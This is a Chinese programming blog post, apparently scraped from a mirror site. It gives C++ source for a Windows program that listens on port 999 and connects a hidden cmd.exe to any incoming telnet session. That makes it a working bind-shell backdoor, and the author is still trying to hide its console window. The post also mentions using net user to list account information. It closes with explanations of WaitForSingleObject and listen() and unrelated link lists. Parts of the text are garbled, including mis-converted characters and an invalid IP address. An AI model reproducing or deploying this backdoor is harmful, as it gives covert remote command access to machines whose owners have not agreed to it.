隐藏Console形式无效(继续1)

时间:2023-01-10 13:57:49

【2014/10/19  23:57 】

:由port主机遥控。

该程序的执行后,计划自己主动开放之机999port,其他计算机将能够通过999port机器的操作。

程序中使用的到的命令:

telnet測试port命令: telnet IP port 或者 telnet 域名 port(若telnet不是内部命令。使用打开或关闭windows功能,启动Telnet服务)

        netstat 測试开放的port号

使用ipconfig控制网络连接的一个命令行工具。

它的主要功用,包含用来显示现时网络连接的设置(/all參数),或通过/release參数来释放取得的ip位置和 通过 /renew 来又一次获取ip位置的分配。

使用net user 获取电脑的账户信息

管道是一种简单的进程间通讯(IPC)机制。实际上是一段共享内存。一个进程在向管道写入数据之后,还有一个进程就能够从管道的还有一端读取数据。

没有解决程序窗体隐藏的问题。

// Mini.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"

#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) #define MAX_SER 10
#define HOST_PATH 256
#define HOSTNAME_SIZE HOST_PATH
#define MasterPort 999 //定义监听的port char hostName[MAX_PATH]={0};
unsigned short maxService;
unsigned short port; void Service(LPVOID lpv);
int LoopControl(SOCKET llistenfd,int isMultiTasking);
void initial();
int initSockets(void); //初始化Windows Socket int main(int argc, char * argv[])
{
SOCKET listenFd,acceptfd;
struct sockaddr_in serverAddr,clientAddr;
char buffer[1024];
int nSize=sizeof(sockaddr_in);
int err; PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255]; initial();
initSockets(); //分配内存资源
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //GetStartupInfo(&StartupInfo);
//创建socket
//listenFd=socket(PF_INET,SOCK_STREAM,0);
listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); if(listenFd==INVALID_SOCKET){
printf("error:out of socket resource \n");
return 1;
} //bind本机的port
serverAddr.sin_family=AF_INET; //协议类型是INET
serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY); //本机IP
serverAddr.sin_port=htons(MasterPort); //绑定port为9990 err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));
if(err==INVALID_SOCKET){
printf("error: unable to bind socket \n");
return 1;
} //listen 监听port
err=listen(listenFd,1);
if(err==INVALID_SOCKET){
printf("error: listen socket failed \n");
return 1;
}
printf("listen......"); acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize); //接收客户连接的准备 /*
* nLength : The size, in bytes, of this structure.
* lpSecurityDescriptor : A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object,If the value of this member is NULL,
* the object is assigned the default security descriptor associated with the access token of the calling process.
* bInheritHandle : A Boolean value that specifies whether the returned handle is inherited when a new process is created.
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=true; HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2; /*
* Creates an anonymous pipe, and returns handles to the read and write ends of the pipe.
* hReadPipe [out] : A pointer to a variable that receives the read handle for the pipe.
* hWritePipe [out] : A pointer to a variable that receives the write handle for the pipe.
* lpPipeAttributes [in, optional] : If lpPipeAttributes is NULL, the handle cannot be inherited.
* nSize [in] : The size of the buffer for the pipe, in bytes. The size is only a suggestion;
* the system uses the value to calculate an appropriate buffering mechanism. If this parameter is zero, the system uses the default buffer size.
*/
err=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
err=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); //配置隐藏窗体结构体
StartupInfo.cb=sizeof(STARTUPINFO);
StartupInfo.wShowWindow=SW_HIDE;
StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
StartupInfo.hStdInput=hReadPipe2;
StartupInfo.hStdOutput=hWritePipe1;
StartupInfo.hStdError=hWritePipe1; //创建匿名管道
BOOL ret=CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
if(ret){
printf("%d",GetLastError());
} unsigned long lBytesRead;
while(1){
/*
* Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. It also returns information about data in the pipe.
* hNamedPipe [in] : A handle to the pipe. This parameter can be a handle to a named pipe instance
* lpBuffer [out, optional] : A pointer to a buffer that receives data read from the pipe. This parameter can be NULL if no data is to be read.
* nBufferSize [in] : The size of the buffer specified by the lpBuffer parameter, in bytes. This parameter is ignored if lpBuffer is NULL.
* lpBytesRead [out, optional] : A pointer to a variable that receives the number of bytes read from the pipe. This parameter can be NULL if no data is to be read.
* lpTotalBytesAvail [out, optional] : pointer to a variable that receives the total number of bytes available to be read from the pipe.
* lpBytesLeftThisMessage [out, optional] : A pointer to a variable that receives the number of bytes remaining in this message
*/
err=PeekNamedPipe(hReadPipe1,buffer,1024,&lBytesRead,0,0);
if(lBytesRead){ /*
* Reads data from the specified file or input/output (I/O) device
* hFile [in] : A handle to the device
* lpBuffer [out] : A pointer to the buffer that receives the data read from a file or device.
* nNumberOfBytesToRead [in] : The maximum number of bytes to be read.
* lpNumberOfBytesRead [out, optional] : A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter
* lpOverlapped [in, out, optional] :
*/
ret=ReadFile(hReadPipe1,buffer,lBytesRead,&lBytesRead,0);
if(!ret){
break;
}
ret=send(acceptfd,buffer,lBytesRead,0);
if(ret<=0) break;
}
else{ lBytesRead=recv(acceptfd,buffer,1024,0);
if(lBytesRead<=0){
break;
} /*
* If the function succeeds, the return value is nonzero (TRUE).
*/
ret=WriteFile(hWritePipe2,buffer,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
//WaitForSingleObject(ProcessInfo.hProcess,INFINITE); CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread); printf("server is down \n"); //关闭进程句柄
closesocket(listenFd);
closesocket(acceptfd);
WSACleanup(); return 0;
} void initial()
{
maxService=3;
port=5054;
} /*
* Winsock服务初始化
*/
int initSockets(void)
{
WSADATA wsaData;
WORD sockVersion; //typedef unsigned short WORD(16)
int err;
sockVersion=MAKEWORD(2,2);
err=WSAStartup(sockVersion,&wsaData);
if(err!=0)
{
printf("error %d :winsock not avaliable\n",err);
}
printf("environemnt invaild success.....\n");
return 0;
}

虚拟机ip地址:192.168.1.42。

在虚拟机中执行本程序。

在电脑的cmd中输入

telnet 192.268.1.42 999

建立了连接:

隐藏Console形式无效(继续1)

建立的连接文件夹为 E:\Release.我们须要切换到C盘

隐藏Console形式无效(继续1)

通过命令操作电脑:

隐藏Console形式无效(继续1)

关闭cmd窗体:

隐藏Console形式无效(继续1)

附1:

已通知状态(受信状态) 未通知状态(非受信状态)

进程内核对象

当进程正在执行时,进程内核对象处于未通知状态。

当进程停止执行时,就处于已通知状态。能够通过等待进程来检查进程是否仍然执行。

无成功等待的副作用。

线程内核对象

当线程正在执行时。线程内核对象处于未通知状态。

当线程停止执行时,就处于已通知状态。

能够通过等待线程来检查线程是否仍然执行。

无成功等待的副作用。

附2:

等待函数可使线程自愿进入等待状态,直到一个特定的内核对象变为已通知状态为止。

这些等待函数中最经常使用的是WaitForSingleObject:

DWORD WaitForSingleObject(HANDLE hObject, DWORD dwMilliseconds);

当线程调用该函数时。第一个參数hObject 标识一个可以支持被通知/未通知的内核对象。第二个參数dwMilliseconds 用于该线程指明。为了等待该对象变为已通知状态,它将等待多长时间。

调用以下这个函数将告诉系统,调用函数准备等待到hProcess句柄标识的进程终止执行为止:【真不懂说了什么

WaitForSingleObject(hProcess, INFINITE);

第二个參数告诉系统,调用线程愿意永远等待下去(无限时间量),直到该进程终止执行。

通常情况下, INFINITE是作为第二个參数传递给WaitForSingleObject的。只是也能够传递不论什么一个值(以毫秒计算)。顺便说一下。 INFINITE已经定义为0xFFFFFFFF(或-1)。当然,传递INFINITE有些危急。

假设对象永远不变为已通知状态。那么调用线程永远不会被唤醒,它将永远处于死锁状态。

附3:

listen函数使用主动连接套接口变为被连接套接口,使得一个进程能够接受其他进程的请求,从而成为一个server进程。在TCPserver编程中listen函数把进程变为一个server,并指定对应的套接字变为被动连接。

listen函数在一般在调用bind之后-调用accept之前调用。它的函数原型是:

#include<sys/socket.h>int listen(int sockfd, int backlog)

返回:0──成功,-1──失败

參数sockfd

被listen函数作用的套接字。sockfd之前由socket函数返回。

在被socket函数返回的套接字sockfd之时。它是一个主动连接的套接字,也就是此时系统如果用户会对这个套接字调用connect函数。期待它主动与其他进程连接。然后在server编程中,用户希望这个套接字能够接受外来的连接请求。也就是被动等待用户来连接。因为系统默认时觉得一个套接字是主动连接的,所以须要通过某种方式来告诉系统,用户进程通过系统调用listen来完毕这件事。

參数backlog

这个參数涉及到一些网络的细节。

在进程正理一个一个连接请求的时候,可能还存在其他的连接请求。

由于TCP连接是一个过程。所以可能存在一种半连接的状态,有时由于同一时候尝试连接的用户过多,使得server进程无法高速地完毕连接请求。假设这个情况出现了。server进程希望内核怎样处理呢?内核会在自己的进程空间里维护一个队列以跟踪这些完毕的连接但server进程还没有接手处理或正在进行的连接,这种一个队列内核不可能让其随意大,所以必须有一个大小的上限。这个backlog告诉内核使用这个数值作为上限。

毫无疑问,server进程不能随便指定一个数值,内核有一个许可的范围。这个范围是实现相关的。非常难有某种统一,一般这个值会小30以内。

当调用listen之后。server进程就能够调用accept来接受一个外来的请求。关于accept更的信息,请接着关注本系统文章。

版权声明:本文博客原创文章,博客,未经同意,不得转载。

隐藏Console形式无效(继续1)的更多相关文章

  1. 求助&lpar;VC&plus;&plus;&rpar; 隐藏Console窗体无效

    [逝去的100~~ 2014/10/07 20: 20] 程序想要实现控制台窗体的隐藏,可是窗体每次执行总会弹出来.为什么呢? 代码例如以下: // Mini.cpp : 定义控制台应用程序的入口点. ...

  2. Effective C&plus;&plus; 第二版 8&rpar; 写operator new 和operator delete 9&rpar; 避免隐藏标准形式的new

    条款8 写operator new 和operator delete 时要遵循常规 重写operator new时, 函数提供的行为要和系统缺省的operator new一致: 1)正确的返回值; 2 ...

  3. vue中使用console&period;log无效

    webpack开发环境下,在vue中使用console.log无效,一直以为webpack出了问题. 使用window.console.log()就能够顺利在浏览器控制台输出了. 以及 在axios请 ...

  4. &period;net Console&period;ReadLine无效

    代码中出现了 Console.ReadLine无效解决办法:把应用程序的输出类型改为 控制台应用程序

  5. &period;NET 如何隐藏Console Application的窗口

    1)创建Console Application工程 2)修改Output type 为Windows Application即可

  6. 条款九&colon; 避免隐藏标准形式的new

    因为内部范围声明的名称会隐藏掉外部范围的相同的名称,所以对于分别在类的内部和全局声明的两个相同名字的函数f来说,类的成员函数会隐藏掉全局函数 class x { public: void f(); / ...

  7. golang隐藏&sol;显示window系统下的黑色命令窗&lpar;hide&sol;show console&rpar;

    导入包import "github.com/gonutz/ide/w32" //隐藏consolefunc HideConsole(){ ShowConsoleAsync(w32. ...

  8. FineUI小技巧(2)将表单内全部字段禁用、只读、设置无效标识

    需求描述 对表单内的所有字段进行操作也是常见需求,这些操作有: 禁用:表单字段变灰,不响应用户动作. 只读:表单字段不变灰,但不接受用户输入(实际上是设置DOM节点的readonly属性),有触发器的 ...

  9. iframe更新与隐藏

    http://blog.sina.com.cn/s/blog_535161d80100aho6.html 从近期项目中抽取出来的一个关于iframe进行控制的代码,不是很全,不过大体功能已经显示出来了 ...

随机推荐

  1. rtc 关机闹钟1 app层

    private static void enableAlertPowerOn(Context context, final Alarm alarm, final long atTimeInMillis ...

  2. 分享一下 Eclipse 插件 PyDev 的安装

    想趁暑假学习一下python,学好语言好的开发环境是基础.因为安装有eclipse,所以想安装PyDev插件作为python开发环境.本来以为是一件简单的事情,结果整整弄了一下午各种装不上,度娘上的几 ...

  3. C语言预处理命令总结大全

    C程序的源代码中可包括各种编译指令,这些指令称为预处理命令.虽然它们实际上不是C语言的一部分,但却扩展了C程序设计的环境.本节将介绍如何应用预处理程序和注释简化程序开发过程,并提高程序的可读性.ANS ...

  4. hdu 2295 Radar 重复覆盖&plus;二分

    题目链接 给m个雷达, n个城市, 以及每个城市的坐标, m个雷达里只能使用k个, 在k个雷达包围所有城市的前提下, 求最小半径. 先求出每个雷达到所有城市的距离, 然后二分半径, 如果距离小于二分的 ...

  5. Mysql 使用CMD 登陆

    1. 将mysql 的bin 目录加到 系统环境变量中: 这样的目的是为了可以直接在cmd中使用mysql命令,而不用先CD到mysql的bin目录中. 3. 连接目标数据库 . Syntax:   ...

  6. spring boot &sol; cloud &lpar;七&rpar; 使用&commat;Retryable来进行重处理

    spring boot / cloud (七) 使用@Retryable来进行重处理 前言 什么时候需要重处理? 在实际工作中,重处理是一个非常常见的场景,比如:发送消息失败,调用远程服务失败,争抢锁 ...

  7. rails中select不能响应多选的解决办法

    在rails4.2中如果你写如下代码,post的select无法传回多选内容,即使你select设置为多选: <select id='id_size' name='name_size' mult ...

  8. mysql常用sql汇总

    给一张表新增一个字段 ALTER table student add zz INT() DEFAULT COMMENT '0是授权 1未授权' 给表student 新增一个zz的字段 默认是0 后面是 ...

  9. Script Browser &amp&semi; Script Analyzer 1&period;3更新发布

    感谢Windows PowerShell MVP Kirk Munro.Laurent Dardenne在过去三个星期内为我们提出的各种想法和建议.针对这些的建议,我们对Script Browser ...

  10. 【转发】PHP连接MSSQL数据库案例,PHPWAMP多个PHP版本连接SQL Server数据库

    转发自:http://blog.csdn.net/lccee/article/details/54289076 课前小知识普及:MSSQL和SQL Server是同一个软件,叫法不同而已,MSSQL全 ...